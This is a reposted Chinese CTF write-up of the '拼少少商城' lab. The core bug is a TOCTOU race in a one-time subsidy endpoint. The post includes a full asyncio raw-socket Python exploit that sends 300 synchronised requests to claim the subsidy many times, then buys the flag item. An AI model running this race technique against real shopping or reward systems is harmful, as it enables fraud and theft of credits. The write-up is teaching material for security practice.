文章总结: 本文记录了拼少少商城CTF靶场的解题过程,核心漏洞为补贴接口的TOCTOU竞态条件。作者对比了requests线程池与asyncio原生socket方案,指出通过Event同步机制实现请求同时发送可大幅提升竞态成功率。最终利用该漏洞多次领取补贴积累余额,购买特供商品获取flag,展示了高并发下竞态条件的精准利用技巧。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,漏洞POC,渗透测试
乌托邦·王的实验室24——拼少少商城 Writeup
原创
wenject wenject
船山信安
2026年2月25日 12:23 江苏
踩点
打开靶场,是一个”拼少少商城”,Go 语言写的分布式商业中台。页面上有几个关键元素:
- 顶部显示用户名和余额(初始为 0)
- “百亿补贴”按钮,点击领取 100 购物金,限领一次
- 商品列表,其中有个”特供:乌托邦的秘密”,价格 10000,库存 1
- 右侧聊天面板,三三和乌托邦·王的对话
题目描述里三三泄露了关键信息:”时间差调到了极其阴险的数值”、”风控警报给拆了”。这两句话直接指向竞态条件(Race Condition)。
API 梳理
抓包分析前端 JS,整理出以下 API:
GET /api/user— 获取用户信息(username, balance, level)GET /api/catalog— 商品列表POST /api/subsidy— 领取补贴(+100 购物金,限一次)POST /api/order— 购买商品(参数:product_id, signature)GET /api/dialogue— 剧情对话
用户通过 cookie pss_enterprise_session 标识,每次访问首页自动分配。
目标很明确:余额凑到 10000,买下特供商品拿 flag。
漏洞定位
补贴只给 100,特供要 10000,正常流程不可能买到。题目反复暗示”时间差”和”异步队列”,那就测试补贴接口的并发竞态。
先用 requests 线程池并发 300 个补贴请求,结果:
Success: 28, Balance: 2800
确认了竞态条件存在——补贴接口的”检查是否已领取”和”标记已领取”之间有时间窗口,并发请求可以在窗口内多次通过检查。
但问题是,用 requests + ThreadPoolExecutor 跑了几十轮,最高只到 4400。线程调度的开销让请求到达时间分散,命中竞态窗口的概率有限。
购买接口也测了,扣款是原子的,没有竞态。所以只能从补贴接口下手。
利用方式
关键在于让请求尽可能”同时”到达服务端。requests 的线程池做不到真正的同时发送——每个线程独立建立 TCP 连接、发送请求,时间差太大。
换成 asyncio 原生 socket 方案:
- 用
asyncio.open_connection预先建立所有 TCP 连接 - 所有协程在
asyncio.Event上等待 - 连接全部就绪后,
event.set()同时触发所有请求发送
这样所有 HTTP 请求几乎在同一瞬间从本地发出,服务端收到的请求时间差被压缩到极限。
实测效果:
Round 1: success=18, balance=1800
Round 2: success=83, balance=8300
Round 3: success=163, balance=16300 ← 直接起飞
第三轮 163 次成功,余额 16300,远超 10000。直接购买特供商品,拿到 flag。
完整复现步骤
- 访问靶场首页,获取 session cookie
- 用 asyncio 预先建立 300 个 TCP 连接到服务端
- 所有连接就绪后,同时发送
POST /api/subsidy请求 - 检查余额,如果不够 10000 就用新 session 重试
- 余额 ≥ 10000 后,
POST /api/order购买p_1004(特供商品) - 响应中包含 flag
EXP
"""
拼少少商城 - EXP
asyncio原生socket并发竞态,利用补贴接口的TOCTOU漏洞多次领取
"""
import asyncio
import requests
import sys
from urllib.parse import urlparse
TARGET = "" # 靶机地址,格式 http://host:port
parsed = urlparse(TARGET)
HOST = parsed.hostname
PORT = parsed.port or 80
def get_session():
s = requests.Session()
s.get(TARGET, timeout=15)
return s
def build_request(cookie):
return (
f"POST /api/subsidy HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Cookie: pss_enterprise_session={cookie}\r\n"
f"Content-Length: 0\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
async def send_one(event, req_bytes):
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(HOST, PORT), timeout=10
)
await event.wait()
writer.write(req_bytes)
await writer.drain()
data = await asyncio.wait_for(reader.read(4096), timeout=15)
writer.close()
try:
await writer.wait_closed()
except:
pass
return '"code":200' in data.decode(errors="ignore")
except:
return False
async def race_subsidy(cookie, n=300):
event = asyncio.Event()
req = build_request(cookie)
tasks = [asyncio.create_task(send_one(event, req)) for _ in range(n)]
await asyncio.sleep(1)
event.set()
results = await asyncio.gather(*tasks)
return sum(1 for r in results if r)
async def main():
for attempt in range(20):
session = get_session()
cookie = session.cookies.get("pss_enterprise_session")
success = await race_subsidy(cookie, 300)
r = session.get(TARGET + "/api/user", timeout=10)
balance = r.json()["data"]["balance"]
print(f"[Round {attempt+1}] success={success}, balance={balance}")
if balance >= 10000:
print(f"[+] Balance sufficient: {balance}")
r = session.post(
TARGET + "/api/order",
json={"product_id": "p_1004", "signature": "token-validated"},
timeout=15,
)
result = r.json()
print(f"[+] Order: {result}")
if result.get("flag"):
print(f"\n[+] FLAG: {result['flag']}")
return
print("[-] Failed after 20 rounds")
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main())
小结
这题的核心是补贴接口的 TOCTOU(Time of Check to Time of Use)竞态条件。Go 的 goroutine 并发模型下,如果”检查是否已领取”和”标记已领取+加余额”不在同一个原子操作内,高并发请求就能在窗口期内多次通过检查。
用 requests 线程池打竞态效果一般(最高 ~4400),因为线程调度开销导致请求到达时间分散。换成 asyncio 原生 socket + Event 同步触发后,请求几乎同时到达,单轮就能拿到 100+ 次成功,轻松凑够 10000 买特供商品。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 wenject wenject《乌托邦·王的实验室24——拼少少商城 Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








![[兵器工具甄选]带上你的武器,来汽车安全白帽黑客大会发布吧!](/images/random/titlepic/6.jpg)
评论